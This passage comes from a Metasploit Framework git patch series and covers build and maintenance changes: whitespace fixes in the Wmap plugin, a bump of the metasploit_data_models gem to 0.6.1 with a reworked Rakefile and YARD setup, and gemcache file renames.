Msf::Plugin else print_error("Unable to create site") end - when '-d' - del_idx = args.shift - if del_idx - delete_site(del_idx.to_i) - else - print_error("Provide index of site to delete") - end + when '-d' + del_idx = args.shift + if del_idx + delete_site(del_idx.to_i) + else + print_error("Provide index of site to delete") + end when '-l' view_sites return @@ -168,8 +168,8 @@ class Plugin::Wmap < Msf::Plugin # Parameters are in url form view_site_tree(u,l,s) else - # Parameters are digits - if !self.lastsites or self.lastsites.length == 0 + # Parameters are digits + if !self.lastsites or self.lastsites.length == 0 view_sites print_status ("Web sites ids. referenced from previous table.") end @@ -204,7 +204,7 @@ class Plugin::Wmap < Msf::Plugin print_status("Usage: wmap_sites [options]") print_line("\t-h Display this help text") print_line("\t-a [url] Add site (vhost,url)") - print_line("\t-d [id] Delete site") + print_line("\t-d [id] Delete site") print_line("\t-l List all available sites") print_line("\t-s [id] Display site structure (vhost,url|ids) (level)") @@ -1233,23 +1233,23 @@ class Plugin::Wmap < Msf::Plugin print_status tbl.to_s + "\n" end - def delete_site(wmap_index) - print_status("Deleting site #{wmap_index}") - idx = 0 - self.framework.db.hosts.each do |bdhost| - bdhost.services.each do |serv| - serv.web_sites.each do |web| - if idx == wmap_index - web.delete - print_status("Deleted #{web.vhost} on #{bdhost.address} at index #{idx}") - return - else - idx += 1 - end - end - end - end - end + def delete_site(wmap_index) + print_status("Deleting site #{wmap_index}") + idx = 0 + self.framework.db.hosts.each do |bdhost| + bdhost.services.each do |serv| + serv.web_sites.each do |web| + if idx == wmap_index + web.delete + print_status("Deleted #{web.vhost} on #{bdhost.address} at index #{idx}") + return + else + idx += 1 + end + end + end + end + end def view_sites @@ -1541,7 +1541,7 @@ class Plugin::Wmap < Msf::Plugin next end - sites = serv.web_sites.where('vhost = ? and service_id = ?', vhost, serv.id) + sites = serv.web_sites.where('vhost = ? and service_id = ?', vhost, serv.id) sites.each do |site| t = load_tree(site) @@ -1998,10 +1998,10 @@ class Plugin::Wmap < Msf::Plugin color = self.opts["ConsoleDriver"].output.supports_color? rescue false colors = [ - '%grn', - '%blu', - '%yel', - '%whi' + '%grn', + '%blu', + '%yel', + '%whi' ] #begin From 7ca33c12bd742cffe42540436649a18b144f29b1 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Thu, 7 Mar 2013 14:22:35 -0600 Subject: [PATCH 331/341] Update Gemfile to metasploit_data_models 0.6.1 [#45771305] MetasploitDataModels 0.6.1 adds a re-usable yard.rake so that all Metasploit project don't have to define their own. It also adds guards so that the YARD tasks aren't defined (and don't cause errors) if YARD is not available. This also adds support for making the Rakefile work with `bundle install --without development test` so it still functions in the bundle building environment for Pro. --- .yardopts | 4 +++ Gemfile | 2 +- Gemfile.lock | 6 ++-- Rakefile | 80 ++++++++++++++++++++++--------------------- documentation/Gemfile | 12 ------- 5 files changed, 49 insertions(+), 55 deletions(-) create mode 100644 .yardopts delete mode 100755 documentation/Gemfile diff --git a/.yardopts b/.yardopts new file mode 100644 index 0000000000..06977023a7 --- /dev/null +++ b/.yardopts @@ -0,0 +1,4 @@ +--protected +--files CONTRIBUTING.md,COPYING,HACKING,LICENSE +lib/msf/**/*.rb +lib/rex/**/*.rb diff --git a/Gemfile b/Gemfile index 251808c2a5..b9e949c2f9 100755 --- a/Gemfile +++ b/Gemfile @@ -7,7 +7,7 @@ gem 'activerecord' # Needed for some admin modules (scrutinizer_add_user.rb) gem 'json' # Database models shared between framework and Pro. -gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.6.0' +gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.6.1' # Needed by msfgui and other rpc components gem 'msgpack' # Needed by anemone crawler diff --git a/Gemfile.lock b/Gemfile.lock index c16a1cca2f..953cd0244c 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,9 +1,9 @@ GIT remote: git://github.com/rapid7/metasploit_data_models.git - revision: 0285d6e199f125b33214100dcb0f4eeb12ee765f - tag: 0.6.0 + revision: 01f6a1eb2ac1acc069feac58e4d09a4555389096 + tag: 0.6.1 specs: - metasploit_data_models (0.6.0) + metasploit_data_models (0.6.1) activerecord (>= 3.2.10) activesupport pg diff --git a/Rakefile b/Rakefile index a365eedfb9..c44736e0d3 100644 --- a/Rakefile +++ b/Rakefile @@ -1,47 +1,49 @@ require 'bundler/setup' -require 'rspec/core/rake_task' -require 'yard' +require 'metasploit_data_models' -RSpec::Core::RakeTask.new(:spec) +print_without = false -task :default => :spec +begin + require 'rspec/core/rake_task' +rescue LoadError + puts "rspec not in bundle, so can't set up spec tasks. " \ + "To run specs ensure to install the development and test groups." -namespace :yard do - yard_files = [ - # Ruby source files first - 'lib/msf/**/*.rb', - 'lib/rex/**/*.rb', - # Anything after '-' is a normal documentation, not source - '-', - 'COPYING', - 'HACKING', - 'THIRD-PARTY.md' - ] - yard_options = [ - # include documentation for protected methods for developers extending the code. - '--protected' - ] + print_without = true +else + RSpec::Core::RakeTask.new(:spec) - YARD::Rake::YardocTask.new(:doc) do |t| - t.files = yard_files - # --no-stats here as 'stats' task called after will print fuller stats - t.options = yard_options + ['--no-stats'] - - t.after = Proc.new { - Rake::Task['yard:stats'].execute - } - end - - desc "Shows stats for YARD Documentation including listing undocumented modules, classes, constants, and methods" - task :stats => :environment do - stats = YARD::CLI::Stats.new - yard_arguments = yard_options + ['--compact', '--list-undoc'] + yard_files - stats.run(*yard_arguments) - end + task :default => :spec end -# @todo Figure out how to just clone description from yard:doc -desc "Generate YARD documentation" -# allow calling namespace to as a task that goes to default task for namespace -task :yard => ['yard:doc'] +begin + require 'yard' +rescue LoadError + puts "yard not in bundle, so can't set up yard tasks. " \ + "To generate documentation ensure to install the development group." + + print_without = true +end + +metasploit_data_models_task_glob = MetasploitDataModels.root.join( + 'lib', + 'tasks', + '**', + '*.rake' +).to_s + +# include tasks from metasplioit_data_models, such as `rake yard`. +# metasploit-framework specific yard options are in .yardopts +Dir.glob(metasploit_data_models_task_glob) do |path| + load path +end + +if print_without + puts "Bundle currently installed " \ + "'--without #{Bundler.settings.without.join(' ')}'." + puts "To clear the without option do `bundle install --without ''` " \ + "(the --without flag with an empty string) or " \ + "`rm -rf .bundle` to remove the .bundle/config manually and " \ + "then `bundle install`" +end diff --git a/documentation/Gemfile b/documentation/Gemfile deleted file mode 100755 index 7d6c690027..0000000000 --- a/documentation/Gemfile +++ /dev/null @@ -1,12 +0,0 @@ -source 'http://rubygems.org' -gem 'rails', '3.2.2' -gem 'authlogic' -gem 'prototype_legacy_helper', '0.0.0', :git => 'git://github.com/jvennix-r7/prototype_legacy_helper.git' -gem 'state_machine', '1.1.2' -gem 'liquid', '2.3.0' -gem 'ice_cube' -gem 'acts_as_list' -gem 'mime-types', '1.18', :git => "git://github.com/rapid7/mime-types.git" -gem 'metasploit_data_models', '0.0.2', :git => "git://github.com/rapid7/metasploit_data_models.git" -gem 'robots', '0.10.1' - From e912bec2db216703ef60890fc38793a82922888f Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Thu, 7 Mar 2013 14:30:29 -0600 Subject: [PATCH 332/341] Update gemcache to metasploit_data_models 0.6.1 [#45771305] --- .../metasploit_data_models-0.6.0/Rakefile | 34 ------------ .../lib/metasploit_data_models/engine.rb | 14 ----- .../lib/tasks/yard.rake | 27 ---------- .../.gitignore | 0 .../.rspec | 0 .../.simplecov | 0 .../.yardopts | 0 .../Gemfile | 0 .../LICENSE | 0 .../README.md | 0 .../metasploit_data_models-0.6.1/Rakefile | 53 +++++++++++++++++++ .../app/models/mdm/api_key.rb | 0 .../app/models/mdm/client.rb | 0 .../app/models/mdm/cred.rb | 0 .../app/models/mdm/event.rb | 0 .../app/models/mdm/exploit_attempt.rb | 0 .../app/models/mdm/exploited_host.rb | 0 .../app/models/mdm/host.rb | 0 .../app/models/mdm/host_detail.rb | 0 .../app/models/mdm/host_tag.rb | 0 .../app/models/mdm/imported_cred.rb | 0 .../app/models/mdm/listener.rb | 0 .../app/models/mdm/loot.rb | 0 .../app/models/mdm/macro.rb | 0 .../app/models/mdm/mod_ref.rb | 0 .../app/models/mdm/module_action.rb | 0 .../app/models/mdm/module_arch.rb | 0 .../app/models/mdm/module_author.rb | 0 .../app/models/mdm/module_detail.rb | 0 .../app/models/mdm/module_mixin.rb | 0 .../app/models/mdm/module_platform.rb | 0 .../app/models/mdm/module_ref.rb | 0 .../app/models/mdm/module_target.rb | 0 .../app/models/mdm/nexpose_console.rb | 0 .../app/models/mdm/note.rb | 0 .../app/models/mdm/profile.rb | 0 .../app/models/mdm/ref.rb | 0 .../app/models/mdm/report.rb | 0 .../app/models/mdm/report_template.rb | 0 .../app/models/mdm/route.rb | 0 .../app/models/mdm/service.rb | 0 .../app/models/mdm/session.rb | 0 .../app/models/mdm/session_event.rb | 0 .../app/models/mdm/tag.rb | 0 .../app/models/mdm/task.rb | 0 .../app/models/mdm/user.rb | 0 .../app/models/mdm/vuln.rb | 0 .../app/models/mdm/vuln_attempt.rb | 0 .../app/models/mdm/vuln_detail.rb | 0 .../app/models/mdm/vuln_ref.rb | 0 .../app/models/mdm/web_form.rb | 0 .../app/models/mdm/web_page.rb | 0 .../app/models/mdm/web_site.rb | 0 .../app/models/mdm/web_vuln.rb | 0 .../app/models/mdm/wmap_request.rb | 0 .../app/models/mdm/wmap_target.rb | 0 .../app/models/mdm/workspace.rb | 0 .../bin/mdm_console | 0 .../console_db.yml | 0 .../db/migrate/000_create_tables.rb | 0 .../db/migrate/001_add_wmap_tables.rb | 0 .../db/migrate/002_add_workspaces.rb | 0 .../db/migrate/003_move_notes.rb | 0 .../db/migrate/004_add_events_table.rb | 0 .../db/migrate/005_expand_info.rb | 0 .../db/migrate/006_add_timestamps.rb | 0 .../db/migrate/007_add_loots.rb | 0 .../db/migrate/008_create_users.rb | 0 .../db/migrate/009_add_loots_ctype.rb | 0 .../db/migrate/010_add_alert_fields.rb | 0 .../db/migrate/011_add_reports.rb | 0 .../db/migrate/012_add_tasks.rb | 0 .../db/migrate/013_add_tasks_result.rb | 0 .../db/migrate/014_add_loots_fields.rb | 0 .../db/migrate/015_rename_user.rb | 0 .../db/migrate/016_add_host_purpose.rb | 0 .../db/migrate/017_expand_info2.rb | 0 .../db/migrate/018_add_workspace_user_info.rb | 0 .../db/migrate/019_add_workspace_desc.rb | 0 .../db/migrate/020_add_user_preferences.rb | 0 .../migrate/021_standardize_info_and_data.rb | 0 .../db/migrate/022_enlarge_event_info.rb | 0 .../migrate/023_add_report_downloaded_at.rb | 0 .../024_convert_service_info_to_text.rb | 0 .../db/migrate/025_add_user_admin.rb | 0 .../db/migrate/026_add_creds_table.rb | 0 .../20100819123300_migrate_cred_data.rb | 0 .../20100824151500_add_exploited_table.rb | 0 .../20100908001428_add_owner_to_workspaces.rb | 0 .../20100911122000_add_report_templates.rb | 0 .../20100916151530_require_admin_flag.rb | 0 ...00916175000_add_campaigns_and_templates.rb | 0 .../20100920012100_add_generate_exe_column.rb | 0 .../20100926214000_add_template_prefs.rb | 0 .../migrate/20101001000000_add_web_tables.rb | 0 .../db/migrate/20101002000000_add_query.rb | 0 .../migrate/20101007000000_add_vuln_info.rb | 0 ...20101008111800_add_clients_to_campaigns.rb | 0 ...20101009023300_add_campaign_attachments.rb | 0 .../20101104135100_add_imported_creds.rb | 0 .../migrate/20101203000000_fix_web_tables.rb | 0 .../20101203000001_expand_host_comment.rb | 0 ...2033_add_limit_to_network_to_workspaces.rb | 0 ...20110112154300_add_module_uuid_to_tasks.rb | 0 .../migrate/20110204112800_add_host_tags.rb | 0 .../20110317144932_add_session_table.rb | 0 ...414180600_add_local_id_to_session_table.rb | 0 .../20110415175705_add_routes_table.rb | 0 .../migrate/20110422000000_convert_binary.rb | 0 ...0110425095900_add_last_seen_to_sessions.rb | 0 ...0110513143900_track_successful_exploits.rb | 0 ...517160800_rename_and_prune_nessus_vulns.rb | 0 ...0527000000_add_task_id_to_reports_table.rb | 0 .../20110527000001_add_api_keys_table.rb | 0 .../20110606000001_add_macros_table.rb | 0 ...10622000000_add_settings_to_tasks_table.rb | 0 .../20110624000001_add_listeners_table.rb | 0 ...0625000001_add_macro_to_listeners_table.rb | 0 ...110630000001_add_nexpose_consoles_table.rb | 0 ...0002_add_name_to_nexpose_consoles_table.rb | 0 .../20110717000001_add_profiles_table.rb | 0 ...20110727163801_expand_cred_ptype_column.rb | 0 .../20110730000001_add_initial_indexes.rb | 0 .../migrate/20110812000001_prune_indexes.rb | 0 .../db/migrate/20110922000000_expand_notes.rb | 0 .../20110928101300_add_mod_ref_table.rb | 0 ...10000_add_display_name_to_reports_table.rb | 0 .../db/migrate/20111203000000_inet_columns.rb | 0 .../20111204000000_more_inet_columns.rb | 0 .../20111210000000_add_scope_to_hosts.rb | 0 ...0120126110000_add_virtual_host_to_hosts.rb | 0 ...20120411173220_rename_workspace_members.rb | 0 ...20601152442_add_counter_caches_to_hosts.rb | 0 .../20120625000000_add_vuln_details.rb | 0 .../20120625000001_add_host_details.rb | 0 .../migrate/20120625000002_expand_details.rb | 0 .../migrate/20120625000003_expand_details2.rb | 0 .../20120625000004_add_vuln_attempts.rb | 0 ...000005_add_vuln_and_host_counter_caches.rb | 0 .../20120625000006_add_module_details.rb | 0 .../20120625000007_add_exploit_attempts.rb | 0 .../20120625000008_add_fail_message.rb | 0 ...2805_add_owner_and_payload_to_web_vulns.rb | 0 ...ired_columns_to_null_false_in_web_vulns.rb | 0 .../lib/mdm.rb | 0 .../host/operating_system_normalization.rb | 0 .../lib/metasploit_data_models.rb | 0 .../base64_serializer.rb | 0 .../lib/metasploit_data_models/engine.rb | 23 ++++++++ .../serialized_prefs.rb | 0 .../validators/ip_format_validator.rb | 0 .../password_is_strong_validator.rb | 0 .../lib/metasploit_data_models/version.rb | 2 +- .../lib/tasks/yard.rake | 26 +++++++++ .../metasploit_data_models.gemspec | 0 .../script/rails | 0 .../spec/app/models/mdm/web_vuln_spec.rb | 0 .../spec/dummy/Rakefile | 0 .../app/assets/javascripts/application.js | 0 .../app/assets/stylesheets/application.css | 0 .../app/controllers/application_controller.rb | 0 .../dummy/app/helpers/application_helper.rb | 0 .../spec/dummy/app/mailers/.gitkeep | 0 .../spec/dummy/app/models/.gitkeep | 0 .../app/views/layouts/application.html.erb | 0 .../spec/dummy/config.ru | 0 .../spec/dummy/config/application.rb | 2 +- .../spec/dummy/config/boot.rb | 0 .../spec/dummy/config/database.yml.example | 0 .../spec/dummy/config/environment.rb | 0 .../dummy/config/environments/development.rb | 0 .../dummy/config/environments/production.rb | 0 .../spec/dummy/config/environments/test.rb | 0 .../initializers/backtrace_silencers.rb | 0 .../dummy/config/initializers/inflections.rb | 0 .../dummy/config/initializers/mime_types.rb | 0 .../dummy/config/initializers/secret_token.rb | 0 .../config/initializers/session_store.rb | 0 .../config/initializers/wrap_parameters.rb | 0 .../spec/dummy/config/routes.rb | 0 .../spec/dummy/db/schema.rb | 0 .../spec/dummy/lib/assets/.gitkeep | 0 .../spec/dummy/log/.gitkeep | 0 .../spec/dummy/public/404.html | 0 .../spec/dummy/public/422.html | 0 .../spec/dummy/public/500.html | 0 .../spec/dummy/public/favicon.ico | 0 .../spec/dummy/script/rails | 0 .../spec/factories/mdm/addresses.rb | 0 .../spec/factories/mdm/hosts.rb | 0 .../spec/factories/mdm/services.rb | 0 .../spec/factories/mdm/users.rb | 0 .../spec/factories/mdm/web_sites.rb | 0 .../spec/factories/mdm/web_vulns.rb | 0 .../spec/factories/mdm/workspaces.rb | 0 .../spec/lib/base64_serializer_spec.rb | 0 .../spec/spec_helper.rb | 0 ...c => metasploit_data_models-0.6.1.gemspec} | 4 +- 198 files changed, 106 insertions(+), 79 deletions(-) delete mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/Rakefile delete mode 100644 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/engine.rb delete mode 100644 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/tasks/yard.rake rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/.gitignore (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/.rspec (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/.simplecov (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/.yardopts (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/Gemfile (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/LICENSE (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/README.md (100%) create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/Rakefile rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/api_key.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/client.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/cred.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/event.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/exploit_attempt.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/exploited_host.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/host.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/host_detail.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/host_tag.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/imported_cred.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/listener.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/loot.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/macro.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/mod_ref.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/module_action.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/module_arch.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/module_author.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/module_detail.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/module_mixin.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/module_platform.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/module_ref.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/module_target.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/nexpose_console.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/note.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/profile.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/ref.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/report.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/report_template.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/route.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/service.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/session.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/session_event.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/tag.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/task.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/user.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/vuln.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/vuln_attempt.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/vuln_detail.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/vuln_ref.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/web_form.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/web_page.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/web_site.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/web_vuln.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/wmap_request.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/wmap_target.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/app/models/mdm/workspace.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/bin/mdm_console (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/console_db.yml (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/000_create_tables.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/001_add_wmap_tables.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/002_add_workspaces.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/003_move_notes.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/004_add_events_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/005_expand_info.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/006_add_timestamps.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/007_add_loots.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/008_create_users.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/009_add_loots_ctype.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/010_add_alert_fields.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/011_add_reports.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/012_add_tasks.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/013_add_tasks_result.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/014_add_loots_fields.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/015_rename_user.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/016_add_host_purpose.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/017_expand_info2.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/018_add_workspace_user_info.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/019_add_workspace_desc.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/020_add_user_preferences.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/021_standardize_info_and_data.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/022_enlarge_event_info.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/023_add_report_downloaded_at.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/024_convert_service_info_to_text.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/025_add_user_admin.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/026_add_creds_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20100819123300_migrate_cred_data.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20100824151500_add_exploited_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20100908001428_add_owner_to_workspaces.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20100911122000_add_report_templates.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20100916151530_require_admin_flag.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20100916175000_add_campaigns_and_templates.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20100920012100_add_generate_exe_column.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20100926214000_add_template_prefs.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20101001000000_add_web_tables.rb (100%) rename 